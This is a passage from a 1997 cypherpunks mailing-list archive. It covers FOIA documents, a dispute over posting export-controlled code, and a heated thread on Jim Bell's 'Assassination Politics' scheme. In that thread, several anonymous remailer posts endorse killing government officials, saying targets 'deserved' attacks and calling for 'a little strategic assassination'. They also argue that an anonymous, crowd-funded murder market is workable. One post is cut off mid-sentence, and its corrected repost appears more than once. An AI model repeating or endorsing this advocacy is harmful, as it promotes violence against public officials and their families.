$25. I'm planning to scan them tonight and make them available via the web, modulo personal information which I will black out. Comments about a good way to balance public interest/privacy when making the docs available are welcome. Have thought about publishing the documents as images (not text) to foil indexing, about eliminating "personal" info like SS numbers, address, and serial number(s) of seized items. I think the text of the affidavit is especially useful and instructive in terms of the understanding it provides into the law enforcement view of cpunks/anonymity/Internet issues. [Also received the Wassenaar Arrangement in response to my FOIA request, along with the Secret Service's response ("no records") and a denial of my appeal from the SF FBI office's "no records" response. Am planning to scan those, too.] -- Greg Broiles gbroiles at c2.net 510-986-8779 voice 510-986-8777 fax From dlv at bwalk.dm.com Fri Apr 4 19:00:18 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 4 Apr 1997 19:00:18 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats In-Reply-To: <01BC412D.6B3C02C0@crecy.ai.mit.edu> Message-ID: "Phillip M. Hallam-Baker" writes: > People are not fit judges of their own cause. The civil war was started > by the South who believed that the North might infringe their "right" > to own others as property. This is a lie. The South was looking for a peaceful secession and bent over backwards to avoid the war, which was started by the North. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From jya at pipeline.com Fri Apr 4 19:19:34 1997 From: jya at pipeline.com (John Young) Date: Fri, 4 Apr 1997 19:19:34 -0800 (PST) Subject: Prior Restraint Message-ID: <1.5.4.32.19970405031124.006dba84@pop.pipeline.com> As noted here on April 2, we've put on our Web site several of the docs of the Peter Junger suit against the Secretary of State: http://jya.com/pdj.htm One gives parts of Peter's article "Computers and the Law" which includes machine-readable code, code which is prohibited by the EAR from being placed on the Internet without a license (it is this "prior restraint" that Peter is challenging): http://jya.com/pdj003b.htm When Peter saw that I had put the article and code on my site, he telephoned immediately to say that the article should not have been sent to me along with the other material. He asked that it be removed because electronic publication could harm his case and put me at risk of prosecution. After discussion I declined to remove it, and thanked him for his advice. Yesterday, Richard Vasvari, one of Peter's three attorneys, called to politely ask that I remove the doc. And further explained how its electronic publication could harm the case and put me at risk. He said that he had notified Anthony Coppolino, DoJ, that the document was on the Web, as he was obliged to do by procedural rules. That they had discussed the ramifications. He did not say what DoJ intended to do. And, that he was obliged as an attorney to advise me to retain an attorney for my defense against prosecution for placing the doc on the Web. During this discussion with Mr. Vasvari I checked the access log for the prohibited doc and saw that DoJ had accessed it as well as several other files on me and my org. I told Mr. Vasvari this and he again advised me to remove the doc. Again, I declined. After chewing on this restraint of my publication by the attorneys, I decided to delete only the machine-readable code from Peter's article, leaving the text which explains why the electronic publication of the code is the crux of Peter's First Amendment case. On the assumption that his prior restraint claim is more important than mine. Take at look and let me know what you think. Should I have deleted the code or left it in the public domain where it belongs? Am I right to comply with the attorneys' first claim on prior restraint? Meanwhile, anyone worldwide who want the article with the code intact, send me an email for instructions on how to get it. Use the subject: Restraint From nobody at huge.cajones.com Fri Apr 4 19:33:11 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 4 Apr 1997 19:33:11 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats Message-ID: <199704050332.TAA14134@fat.doobie.com> Timothy C. May wrote: > > At 6:05 PM -0500 4/4/97, Mark M. wrote: > > > I don't know any anarchists who oppose > ^^^^^^^^^^^^^^^^^^^^^^^^^^^ > >contract law or argue that anyone has this right. The cryptography employee > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > >who releases trade secrets or sabotages products is violating the company's > >property rights; whether it is moral or not is irrelevant. Again, I don't > >think you will find any anarchists who would dispute this. > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * {* TCM's emphasis} > > Count me as one who thinks things are not this easy. Ultimately, all > decisions to obey or ignore or sabotage contractual relationships is a > personal one. I agree. Obviously Mark doesn't know enough anarchists. Pardon me for beating my Hitler analogies to death, but when Hitler was Fuhrer, the trains ran on time. I have no problem with those who supported him for this reason. However, as his administrative policies began to increasingly infringe on the lives of others, it was up to each participant in his ruling party to decide for themselves what was an acceptable level of power/control over the citizens, and what was not. My own rule of thumb is to consider whether I would consider laws or regulations affecting the behavior and rights of others to be an infringement if they were applied to my own behavior and rights. > This issue has come up before. One name for the debate is "lifeboat > ethics." Suppose Alice has a contract not to trespass against the property > of others in the marina she belongs to. One night she falls off her boat as > she's leaving the marina. She can either _honor_ her contract, and drown. > Or she can grab onto Bob's boat and pull herself to safety, even though > she's just without any doubt vioated her contract. > > As I mentioned a few days ago, there are _some_ anarchists, notably Murray > Rothbard, who argued that Alice must choose death over violation of a > contract. Most anarchists I know think him crazy. I fully support Rothbard's right to choose death, but do not consider him as having any say in Alice's decision. > >Cryptography professionals have the *ability* to follow their consciences, > >but that does not excuse them from punishment resulting in infringing on > >their employer's rights or violating the terms of their employment. > > I've never argued that those who get caught breaking a contract shouldn't > face the consequences--providing others in the society honor the contract! This begs the question of who is to decide whether or not society is honoring their part of the contract. Arguing that society/civilization is doing a fairly decent job "for the most part" does not negate the fact that if an individual is taking it up the ass, he or she will not be inclined to take it sitting down. Native Americans are the prime example of a group who were subjected to severe penalties for failing to "honor the contract" while their oppressors felt free to dishonor the contract at will by virtue of superior firepower. Individuals have the freedom to sabatoge systems which they see as injust and oppressive. To suggest that the average person will abuse that right, and thus has no conscience, is to suggest that the average person has less right than corporations to decide what is right and wrong. It is my own belief that fears surrounding employees making morally based decisions of this nature are a result of the knowledge that many corporate entities fall short of meeting even rudimentary standards of moral values. TruthMonger From rah at shipwright.com Fri Apr 4 19:55:58 1997 From: rah at shipwright.com (Robert Hettinga) Date: Fri, 4 Apr 1997 19:55:58 -0800 (PST) Subject: From the "pissing up a rope" file... Message-ID: --- begin forwarded text Priority: normal Date: Fri, 4 Apr 1997 13:36:05 MET Reply-To: Law & Policy of Computer Communications Sender: Law & Policy of Computer Communications From: Stephan Bleisteiner Organization: Uni Wuerzburg - Jur. Fak. Subject: NBC Europe Question of the week Comments: To: FIGHT-CENSORSHIP at vorlon.mit.edu To: CYBERIA-L at LISTSERV.AOL.COM I thought some people on the list might feel very strongly about this issue and would like to cast their vote. The NBC Interactive Question of the Week: Should there be one international group that governs and controls web content? YES NO To cast your vote go to http://www.nbceurope.com Stephan --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From azur at netcom.com Fri Apr 4 20:01:57 1997 From: azur at netcom.com (Steve Schear) Date: Fri, 4 Apr 1997 20:01:57 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats Message-ID: > Pardon me for beating my Hitler analogies to death, but when >Hitler was Fuhrer, the trains ran on time. I have no problem >with those who supported him for this reason. However, as his >administrative policies began to increasingly infringe on the >lives of others, it was up to each participant in his ruling >party to decide for themselves what was an acceptable level >of power/control over the citizens, and what was not. Unfortunately, by the time he really impacted personal liberties it was too late, as his power was consolidated and the citizenery disarmed (1935). --Steve >> I've never argued that those who get caught breaking a contract shouldn't >> face the consequences--providing others in the society honor the contract! > > This begs the question of who is to decide whether or not >society is honoring their part of the contract. > Arguing that society/civilization is doing a fairly decent job >"for the most part" does not negate the fact that if an individual >is taking it up the ass, he or she will not be inclined to take it >sitting down. Yes, much better to hang from the ceiling. > Native Americans are the prime example of a group who were >subjected to severe penalties for failing to "honor the contract" >while their oppressors felt free to dishonor the contract at >will by virtue of superior firepower. Hopefully, what goes around comes around. > > Individuals have the freedom to sabatoge systems which they >see as injust and oppressive. To suggest that the average person >will abuse that right, and thus has no conscience, is to suggest >that the average person has less right than corporations to decide >what is right and wrong. > It is my own belief that fears surrounding employees making >morally based decisions of this nature are a result of the >knowledge that many corporate entities fall short of meeting >even rudimentary standards of moral values. "I don't want to rock the boat... I want to sink it." Putney Swoope > >TruthMonger From winsock at rigel.cyberpass.net Fri Apr 4 21:03:59 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Fri, 4 Apr 1997 21:03:59 -0800 (PST) Subject: Assassination Politics (was Re: Feds reading this list, Jim Bell, and threats) Message-ID: <199704050502.VAA06922@sirius.infonex.com> On Fri, 4 Apr 1997, Phillip M. Hallam-Baker wrote: >Timothy C. May wrote: >> >> Political advocacy is one thing, but making threats, even veiled ones, is >> another matter. > >Absolutely, that is why I was keen for people to oppose Bell's views. >If his ramblings had gone unchallenged he would now be being >presented as a representative of Cypherpunk/ pro-crypto views. Likewise, we wouldn't want your ramblings to go unchallenged, as you might be presented as a representative of Cypherpunk/pro-crypto views. >Besides anything else Bell was like the party bore with a >hobby horse he just has to talk about. I'm somewhat more >sensitive than most to advocates of murdering government >officials, some of my relatives are in government and have >had well publicised assassination attempts against them. Maybe they deserved them. Making politics more risky may have the benificial effect of thinning out the ranks of politicians to truely dedicated ones, instead of the fat parasitic beurocrats we have now. >I think that Bell's posts were entirely different from Tim's or >for that matter almost every other person on the list. Tim >demonstrated that a covert information sales organisation was >possible with Blacknet but he never advocated setting it up. >Indeed part of the point was the ethical responsibilities. Bell >on the other hand was likely to respond to any post with his >AP piece. I have throughout considered these to be incitement to >murder. Given certain political views contrary to your own, the government not only incites but commits murder daily, on a much greater scale. Is it so wrong try to put an end to this by a little strategic assassination? >paul at fatmans.demon.co.uk wrote: > >> Not at all, Jim advocates the use of necessary force against an >> initiator of violence, as you would see if you have read Jims AP >> overview essay he does not advocate the use of AP to kill innocent >> people, indeed he does not intend it to kill anyone at all, Rather to >> act as a deterrent to government which would violate the NAP. > >Who decides what "innocent" was? Certainly not the government. >In Jim's world it was very clear that he decided who was innocent, >he decided what his rights were, he decided who he could murder. > >He limited the justifiable targets of AP to be those he thought should >be targets. His argument with the IRS appears to have included the >claim that they infringed his rights which under Bell's manifesto >gives him the right to murder them. You're completely off the mark. Have you read his essay at - http://www.prairienet.org/bureau42/public/apfull.txt He cited government officials involved in Waco, Ruby Ridge, and the IRS as examples. But, he clearly stated that: "It would be impossible, for example, to set up some sort of "Assassination Politics Dictator," who decides who will live and who will die, because competition in the system will always rise to supply every demand, albeit at possibly a very high price. And if you believe the maxim that "absolute power corrupts absolutely," you wouldn't want to accept any form of centralized control (even, perhaps, that of your own!), because any such control would eventually be corrupted. Most rational people recognize this, and I do too. I would not have invented a system where "Jim Bell" gets to make "all the decisions." Quite the contrary, the system I've described absolutely prevents such centralization. That, quite frankly, is the novelty and dare I say it, the beauty of this idea. I believe that it simply cannot be hijacked by centralized political control. As I pointed out in the essay, if _I_ were running one of the organizations accepting those donations and offering those prizes, I would selectively list only those targets who I am genuinely satisfied are guilty of the violation of the "non-agression principle." But as a practical matter, there is no way that I could stop a DIFFERENT organization from being set up and operating under DIFFERENT moral and ethical principles, especially if it operated anonymously, as I antipate the "Assassination Politics"-type systems will be. Thus, I'm forced to accept the reality that I can't dictate a "strongly limited" system that would "guarantee" no "unjustified" deaths: I can merely control my little piece of the earth and not assist in the abuse of others." >> Also, an inevitable consequence of anonymity and untraceable ecash is >> that assasination pools will become a feature of the political >> landscape. > >No, it is not. If it were then Digital cash would never be possible. >Society simply would not allow it and they would be right not to >do so. > >It is because Bell's scheme is entirely preposterous that Digital >cash is possible. There is simply no way an AP contract could be >enforced. The betting pool is simply one of a long line of failed >attempts to prop up the scheme. If this is so impossible, then why do you later claim that: "I have plenty to worry about, Bells plan would lead to murder of innocent people."? You do have a point, though. The actual payment would be hard to enforce. This is just a technical difficulty that can be overcome with dedicated effort. The idea is sound in all other ways. >No country could allow such a betting pool to operate from its soil, >nor any other such cover. If an IRS agent was murdered as a result >of a contract placed in an Anguilla betting pool the marines would >be landing the next week. No country that is small enough not to be >threatened by AP has the necessary millitary strength to resist >invasion. The benmefits of hosting the AP pool are marginal if any >therefore no country would ever host it. Ever heard of "virtual corporations"? They may exist without heed to national borders. The technical means also exist for complete anonymity on the internet, so that even the location of servers may be concealed (via. Onion Routers, and their ilk). Besides, all interaction with the corporation could be conducted through email, for which a rather high degree of anonymity exists already. >>Of course there is nothing to stop someone betting that an >> innocent person should be killed, this is a great problem in the >> scheme, but if this did occur the friends and family of the victim >> would normally have a pretty good idea who placed the bet and could >> place a bet on their imminent death... > >There is everythingt to stop bets being placed period. This is debatable, as much as you fasion yourself the arbiter of what is possible. >Of course the main use of AP would be to murder familly members, >business rivals etc. AP is simply an unrestrained murder machine >with absolutely no safeguards. Assassination transactions against anyone can be carried out anonymously right as we speak. There are absolutely no safeguards against that. However, AP is different. AP calls for a large pool of money donated in generally small ammounts by large numbers of individuals. The incentive for killing officials who garner retribution from whole populations would be much greater than that of some random individual. >> Besides which you seem not to have read and understood AP as you have >> ignored Jims comments about the problems of innocent people being >> killed. > >This "not understood" conciet is bogus. I have read and fully >understood Bell's article. It is in my view an incitement to murder. > >I have degrees in Nuclear Physics, Electronic Engineering, I have >been offered a contract for my book on the philosophy of >communication. If Bell can't communicate his idea to me then that is >his fault, his responsibility. I am arguing against the plan >he describes. Do not try the patronising "you are not clever enough >to understand this" line. In this case it is bluster. H.L.Machen perceptively ts, merely suspected infringment. This may or may not be true. Some donations to AP organisations may have no basis in fact whatsoever. The public is verry malleable, I'll grant you. However, others, such as large scale repression, will have very real basis in fact. Imagine the will of the Black people being harnessed through AP organizations during American Slavery. >The state employees suspect Bell plots infringement of his rights. >Therefore under Bell's own theory they have the right to respond by >infringing his rights, without trial. Of course. However, the state employees are few. The subjects, or "beneficiaries" of the state are many. >AP does not contain a coherent normative ethical theory. Of course it does, I don't think you've read closely enough. Perhaps you should stick to Nuclear Physics and Electrical Engineering. Scientists are notorious for not "getting" ethics, or completely ignoring them in wanting to stick to "pure" science. at's no surprise. It would be surprising for the subjects of this state to wake up and pre-emtively protect themselves from the state. >> If I may make an analogy you are saying that were I to be attacked in >> the street, and I pulled a gun on the attacker he has a "moral" right >> to kill me to protect himself? > >He could well have that legal right in certain circumstances. You didn't answer his question. >> > However, I also think that there is a possibility that his statements, >> > either on cypherpunks or elsewhere, may have gone over the line in >> > terms of threatening behavior. It may be a moral weakness on my part, >> > but I am not too inclined to defend someone who advocates shooting me. >> >> Then you are of weak character and a closet statist. > >Good, now we have discovered that names like statist, liberal etc >are not insults even if bellowed by idiots at the top of their >lungs we can return to sanity. Ah, sanity. The Crusades seemed sgain, what do you have to worry about if, as you say, "Bell's scheme is entirely preposterous"? -=- A concerned citizen From lucifer at dhp.com Fri Apr 4 22:23:49 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Fri, 4 Apr 1997 22:23:49 -0800 (PST) Subject: AP / Mr. W. Remailer speaks out. Message-ID: <199704050623.BAA09488@dhp.com> Mr. WinSock Remailer shot holes in Tim May's highly questionable claim-- "I support anonymous remailers for various purposes, but debate is rarely enhanced in such cases." --by producing an insightful post which actually quotes Jim Bell's own words, instead of blathering on endlessly about his or her own skewed interpretation of Bell's AP system, by writing: > On Fri, 4 Apr 1997, Phillip M. Hallam-Baker wrote: > > >Timothy C. May wrote: > >> > >> Political advocacy is one thing, but making threats, even veiled ones, is > >> another matter. > > > >Absolutely, that is why I was keen for people to oppose Bell's views. > >If his ramblings had gone unchallenged he would now be being > >presented as a representative of Cypherpunk/ pro-crypto views. > > Likewise, we wouldn't want your ramblings to go unchallenged, as you > might be presented as a representative of Cypherpunk/pro-crypto views. > > >Besides anything else Bell was like the party bore with a > >hobby horse he just has to talk about. I'm somewhat more > >sensitive than most to advocates of murdering government > >officials, some of my relatives are in government and have > >had well publicised assassination attempts against them. > > Maybe they deserved them. Making politics more risky may have the > benificial effect of thinning out the ranks of politicians to truely > dedicated ones, instead of the fat parasitic beurocrats we have now. > > >I think that Bell's posts were entirely different from Tim's or > >for that matter almost every other person on the list. Tim > >demonstrated that a covert information sales organisation was > >possible with Blacknet but he never advocated setting it up. > >Indeed part of the point was the ethical responsibilities. Bell > >on the other hand was likely to respond to any post with his > >AP piece. I have throughout considered these to be incitement to > >murder. > > Given certain political views contrary to your own, the government > not only incites but commits murder daily, on a much greater scale. > Is it so wrong try to put an end to this by a little strategic > assassination? > > >paul at fatmans.demon.co.uk wrote: > > > >> Not at all, Jim advocates the use of necessary force against an > >> initiator of violence, as you would see if you have read Jims AP > >> overview essay he does not advocate the use of AP to kill innocent > >> people, indeed he does not intend it to kill anyone at all, Rather to > >> act as a deterrent to government which would violate the NAP. > > > >Who decides what "innocent" was? > > Certainly not the government. > > >In Jim's world it was very clear that he decided who was innocent, > >he decided what his rights were, he decided who he could murder. > > > >He limited the justifiable targets of AP to be those he thought should > >be targets. His argument with the IRS appears to have included the > >claim that they infringed his rights which under Bell's manifesto > >gives him the right to murder them. > > You're completely off the mark. Have you read his essay at - > http://www.prairienet.org/bureau42/public/apfull.txt > > He cited government officials involved in Waco, Ruby Ridge, and the IRS > as examples. But, he clearly stated that: > > "It would be impossible, for example, to set up some sort of > "Assassination Politics Dictator," who decides who will live and who will > die, because competition in the system will always rise to supply every > demand, albeit at possibly a very high price. And if you believe the maxim > that "absolute power corrupts absolutely," you wouldn't want to accept any > form of centralized control (even, perhaps, that of your own!), because any > such control would eventually be corrupted. Most rational people recognize > this, and I do too. I would not have invented a system where "Jim > Bell" gets to make "all the decisions." Quite the contrary, the system I've > described absolutely prevents such centralization. That, quite frankly, is > the novelty and dare I say it, the beauty of this idea. I believe that it > simply cannot be hijacked by centralized political control. > > As I pointed out in the essay, if _I_ were running one of the organizations > accepting those donations and offering those prizes, I would selectively > list only those targets who I am genuinely satisfied are guilty of the > violation of the "non-agression principle." But as a practical matter, > there is no way that I could stop a DIFFERENT organization from being set up > and operating under DIFFERENT moral and ethical principles, especially if it operated > anonymously, as I antipate the "Assassination Politics"-type systems will > be. Thus, I'm forced to accept the reality that I can't dictate a > "strongly limited" system that would "guarantee" no "unjustified" deaths: I > can merely control my little piece of the earth and not assist in the abuse > of others." > > >> Also, an inevitable consequence of anonymity and untraceable ecash is > >> that assasination pools will become a feature of the political > >> landscape. > > > >No, it is not. If it were then Digital cash would never be possible. > >Society simply would not allow it and they would be right not to > >do so. > > > >It is because Bell's scheme is entirely preposterous that Digital > >cash is possible. There is simply no way an AP contract could be > >enforced. The betting pool is simply one of a long line of failed > >attempts to prop up the scheme. > > If this is so impossible, then why do you later claim that: > "I have plenty to worry about, Bells plan would lead to murder of > innocent people."? > > You do have a point, though. The actual payment would be hard to > enforce. This is just a technical difficulty that can be overcome with > dedicated effort. The idea is sound in all other ways. > > >No country could allow such a betting pool to operate from its soil, > >nor any other such cover. If an IRS agent was murdered as a result > >of a contract placed in an Anguilla betting pool the marines would > >be landing the next week. No country that is small enough not to be > >threatened by AP has the necessary millitary strength to resist > >invasion. The benmefits of hosting the AP pool are marginal if any > >therefore no country would ever host it. > > Ever heard of "virtual corporations"? They may exist without heed > to national borders. The technical means also exist for complete > anonymity on the internet, so that even the location of servers > may be concealed (via. Onion Routers, and their ilk). Besides, > all interaction with the corporation could be conducted through > email, for which a rather high degree of anonymity exists already. > > >>Of course there is nothing to stop someone betting that an > >> innocent person should be killed, this is a great problem in the > >> scheme, but if this did occur the friends and family of the victim > >> would normally have a pretty good idea who placed the bet and could > >> place a bet on their imminent death... > > > >There is everythingt to stop bets being placed period. > > This is debatable, as much as you fasion yourself the arbiter of > what is possible. > > >Of course the main use of AP would be to murder familly members, > >business rivals etc. AP is simply an unrestrained murder machine > >with absolutely no safeguards. > > Assassination transactions against anyone can be carried out > anonymously right as we speak. There are absolutely no safeguards > against that. However, AP is different. > > AP calls for a large pool of money donated in generally small ammounts > by large numbers of individuals. The incentive for killing officials > who garner retribution from whole populations would be much greater > than that of some random individual. > > >> Besides which you seem not to have read and understood AP as you have > >> ignored Jims comments about the problems of innocent people being > >> killed. > > > >This "not understood" conciet is bogus. I have read and fully > >understood Bell's article. It is in my view an incitement to murder. > > > >I have degrees in Nuclear Physics, Electronic Engineering, I have > >been offered a contract for my book on the philosophy of > >communication. If Bell can't communicate his idea to me then that is > >his fault, his responsibility. I am arguing against the plan > >he describes. Do not try the patronising "you are not clever enough > >to understand this" line. In this case it is bluster. > > H.L.Machen perceptively ts, merely suspected infringment. > > This may or may not be true. Some donations to AP organisations may > have no basis in fact whatsoever. The public is verry malleable, I'll > grant you. However, others, such as large scale repression, will > have very real basis in fact. Imagine the will of the Black people > being harnessed through AP organizations during American Slavery. > > >The state employees suspect Bell plots infringement of his rights. > >Therefore under Bell's own theory they have the right to respond by > >infringing his rights, without trial. > > Of course. However, the state employees are few. The subjects, > or "beneficiaries" of the state are many. > > >AP does not contain a coherent normative ethical theory. > > Of course it does, I don't think you've read closely enough. Perhaps > you should stick to Nuclear Physics and Electrical Engineering. > Scientists are notorious for not "getting" ethics, or completely > ignoring them in wanting to stick to "pure" science. > > at's no surprise. It would be surprising > for the subjects of this state to wake up and pre-emtively protect > themselves from the state. > > >> If I may make an analogy you are saying that were I to be attacked in > >> the street, and I pulled a gun on the attacker he has a "moral" right > >> to kill me to protect himself? > > > >He could well have that legal right in certain circumstances. > > You didn't answer his question. > > >> > However, I also think that there is a possibility that his statements, > >> > either on cypherpunks or elsewhere, may have gone over the line in > >> > terms of threatening behavior. It may be a moral weakness on my part, > >> > but I am not too inclined to defend someone who advocates shooting me. > >> > >> Then you are of weak character and a closet statist. > > > >Good, now we have discovered that names like statist, liberal etc > >are not insults even if bellowed by idiots at the top of their > >lungs we can return to sanity. > > Ah, sanity. The Crusades seemed sgain, what do you have to worry about if, as you say, "Bell's scheme > is entirely preposterous"? > > -=- A concerned citizen So, please, let the potheads on the list (the silent majority) refrain from dismissing Bell's ideas due to his alleged use of the 'wrong' illegal drug. And let the drunkards (Toto) and former drunkards (you know who you are) refrain from embarrasing themselves by supporting every lunatic who has also destroyed the better part of their brain cells. I, on the other hand, am a licensed physician, and my use of narcotics is for legal medicinal purposes only. Dr. Roberts From nobody at hidden.net Fri Apr 4 23:07:21 1997 From: nobody at hidden.net (Anonymous) Date: Fri, 4 Apr 1997 23:07:21 -0800 (PST) Subject: Assassination Politics (corrected repost) Message-ID: <199704050703.XAA18722@swan> Explanation: I am reposting this because my original post seems to have been inadvertantly(?) mutilated after the fact. On Fri, 4 Apr 1997, Phillip M. Hallam-Baker wrote: >Timothy C. May wrote: >> >> Political advocacy is one thing, but making threats, even veiled ones, is >> another matter. > >Absolutely, that is why I was keen for people to oppose Bell's views. >If his ramblings had gone unchallenged he would now be being >presented as a representative of Cypherpunk/ pro-crypto views. Likewise, we wouldn't want your ramblings to go unchallenged, as you might be presented as a representative of Cypherpunk/pro-crypto views. >Besides anything else Bell was like the party bore with a >hobby horse he just has to talk about. I'm somewhat more >sensitive than most to advocates of murdering government >officials, some of my relatives are in government and have >had well publicised assassination attempts against them. Maybe they deserved them. Making politics more risky may have the benificial effect of thinning out the ranks of politicians to truely dedicated ones, instead of the fat parasitic beurocrats we have now. >I think that Bell's posts were entirely different from Tim's or >for that matter almost every other person on the list. Tim >demonstrated that a covert information sales organisation was >possible with Blacknet but he never advocated setting it up. >Indeed part of the point was the ethical responsibilities. Bell >on the other hand was likely to respond to any post with his >AP piece. I have throughout considered these to be incitement to >murder. Given certain political views contrary to your own, the government not only incites but commits murder daily, on a much greater scale. Is it so wrong try to put an end to this by a little strategic assassination? >paul at fatmans.demon.co.uk wrote: > >> Not at all, Jim advocates the use of necessary force against an >> initiator of violence, as you would see if you have read Jims AP >> overview essay he does not advocate the use of AP to kill innocent >> people, indeed he does not intend it to kill anyone at all, Rather to >> act as a deterrent to government which would violate the NAP. > >Who decides what "innocent" was? Certainly not the government. >In Jim's world it was very clear that he decided who was innocent, >he decided what his rights were, he decided who he could murder. > >He limited the justifiable targets of AP to be those he thought should >be targets. His argument with the IRS appears to have included the >claim that they infringed his rights which under Bell's manifesto >gives him the right to murder them. You're completely off the mark. Have you read his essay at - http://www.prairienet.org/bureau42/public/apfull.txt He cited government officials involved in Waco, Ruby Ridge, and the IRS as examples. But, he clearly stated that: "It would be impossible, for example, to set up some sort of "Assassination Politics Dictator," who decides who will live and who will die, because competition in the system will always rise to supply every demand, albeit at possibly a very high price. And if you believe the maxim that "absolute power corrupts absolutely," you wouldn't want to accept any form of centralized control (even, perhaps, that of your own!), because any such control would eventually be corrupted. Most rational people recognize this, and I do too. I would not have invented a system where "Jim Bell" gets to make "all the decisions." Quite the contrary, the system I've described absolutely prevents such centralization. That, quite frankly, is the novelty and dare I say it, the beauty of this idea. I believe that it simply cannot be hijacked by centralized political control. As I pointed out in the essay, if _I_ were running one of the organizations accepting those donations and offering those prizes, I would selectively list only those targets who I am genuinely satisfied are guilty of the violation of the "non-agression principle." But as a practical matter, there is no way that I could stop a DIFFERENT organization from being set up and operating under DIFFERENT moral and ethical principles, especially if it operated anonymously, as I antipate the "Assassination Politics"-type systems will be. Thus, I'm forced to accept the reality that I can't dictate a "strongly limited" system that would "guarantee" no "unjustified" deaths: I can merely control my little piece of the earth and not assist in the abuse of others." >> Also, an inevitable consequence of anonymity and untraceable ecash is >> that assasination pools will become a feature of the political >> landscape. > >No, it is not. If it were then Digital cash would never be possible. >Society simply would not allow it and they would be right not to >do so. > >It is because Bell's scheme is entirely preposterous that Digital >cash is possible. There is simply no way an AP contract could be >enforced. The betting pool is simply one of a long line of failed >attempts to prop up the scheme. If this is so impossible, then why do you later claim that: "I have plenty to worry about, Bells plan would lead to murder of innocent people."? You do have a point, though. The actual payment would be hard to enforce. This is just a technical difficulty that can be overcome with dedicated effort. The idea is sound in all other ways. >No country could allow such a betting pool to operate from its soil, >nor any other such cover. If an IRS agent was murdered as a result >of a contract placed in an Anguilla betting pool the marines would >be landing the next week. No country that is small enough not to be >threatened by AP has the necessary millitary strength to resist >invasion. The benmefits of hosting the AP pool are marginal if any >therefore no country would ever host it. Ever heard of "virtual corporations"? They may exist without heed to national borders. The technical means also exist for complete anonymity on the internet, so that even the location of servers may be concealed (via. Onion Routers, and their ilk). Besides, all interaction with the corporation could be conducted through email, for which a rather high degree of anonymity exists already. >>Of course there is nothing to stop someone betting that an >> innocent person should be killed, this is a great problem in the >> scheme, but if this did occur the friends and family of the victim >> would normally have a pretty good idea who placed the bet and could >> place a bet on their imminent death... > >There is everythingt to stop bets being placed period. This is debatable, as much as you fasion yourself the arbiter of what is possible. >Of course the main use of AP would be to murder familly members, >business rivals etc. AP is simply an unrestrained murder machine >with absolutely no safeguards. Assassination transactions against anyone can be carried out anonymously right as we speak. There are absolutely no safeguards against that. However, AP is different. AP calls for a large pool of money donated in generally small ammounts by large numbers of individuals. The incentive for killing officials who garner retribution from whole populations would be much greater than that of some random individual. >> Besides which you seem not to have read and understood AP as you have >> ignored Jims comments about the problems of innocent people being >> killed. > >This "not understood" conciet is bogus. I have read and fully >understood Bell's article. It is in my view an incitement to murder. > >I have degrees in Nuclear Physics, Electronic Engineering, I have >been offered a contract for my book on the philosophy of >communication. If Bell can't communicate his idea to me then that is >his fault, his responsibility. I am arguing against the plan >he describes. Do not try the patronising "you are not clever enough >to understand this" line. In this case it is bluster. H.L.Machen perceptively noted, "It is a common fallacy of our time that a moron run through a university and decorated with a PHD will thereby cease to be a moron." So save your credentials for the tabloids. >> Question: Would you say the assassination of a statist who had badly >> violated the NAP (eg. A district attorney involved in prosecutions >> for drug dealing) was a crime? > >Absolutely for the simple reason that mob rule, lynch law is always >criminal. If there is no due process there is no justice. Ah, I see that you are in agreement with some of the framers of our great constitution in rejecting Direct Democracy, in favor of one or another flavor of elitism (Representative Democracy, lets say). Not that it's necessarily so bad, mind you, but at least you're showing your true colors. >Under AP rules the state has a perfect right to execute Bell. Bell >clearly intends the murder of government personel, therefore under >AP rules the government has the "right" to protect itself with AP >if it choses. If it decides on a less arbitrary sanction then >under AP principles that is a concession it is not required to make. The state has no rights. It is not a living individual. Only humans, and arguably animals, have rights. >AP eliminates process and with it proof. There are no steps proposed >by which an AP initiator should deterine whether his rights have indeed >been infringed. You're right. It is not the American Way of justice. However, that way is not itself above suspicion. The reliability of witnesses is suspect, even when they are sincere in trying to recall events. The judges are not above corruption, especially as they are in positions of power and power corrupts. Finally, the jury is not without its biases, even when its not also paid off, as can be seen from the controversial results of well publicised cases involving Rodney King and O.J.Simpson. >Therefore an instigator is not acting upon actual >infringement of rights, merely suspected infringment. This may or may not be true. Some donations to AP organisations may have no basis in fact whatsoever. The public is verry malleable, I'll grant you. However, others, such as large scale repression, will have very real basis in fact. Imagine the will of the Black people being harnessed through AP organizations during American Slavery. >The state employees suspect Bell plots infringement of his rights. >Therefore under Bell's own theory they have the right to respond by >infringing his rights, without trial. Of course. However, the state employees are few. The subjects, or "beneficiaries" of the state are many. >AP does not contain a coherent normative ethical theory. Of course it does, I don't think you've read closely enough. Perhaps you should stick to Nuclear Physics and Electrical Engineering. Scientists are notorious for not "getting" ethics, or completely ignoring them in wanting to stick to "pure" science. >> WRONG... The LEAs were the initiators of force and violators of the >> NAP, Jim Bell, were he to kill a member of the IRS, would not be >> commiting any crime, rather defending himself from a violation of his >> rights. > >He would empirically be guilty of a crime. The courts would consider >it murder and sentence him accordingly. Obviously, Paul is speaking of crime from Jim Bell's "ethical theory" perspective. Phil discounts the existence of that perspective, and answers from a "real world" perspective, completely missing Paul's point. >You may not consider him ethically to be guitly of something wrong. >I would disagree in that case. The LEAs have the right to initiate force >in accordance with the directions of a court order. They are pre-emtively >protecting their personal right to defend themselves and on behalf of >society pre-emptively protecting it. The state is self-perpetuating. Threats to the well being of members of it are taken seriously, that's no surprise. It would be surprising for the subjects of this state to wake up and pre-emtively protect themselves from the state. >> If I may make an analogy you are saying that were I to be attacked in >> the street, and I pulled a gun on the attacker he has a "moral" right >> to kill me to protect himself? > >He could well have that legal 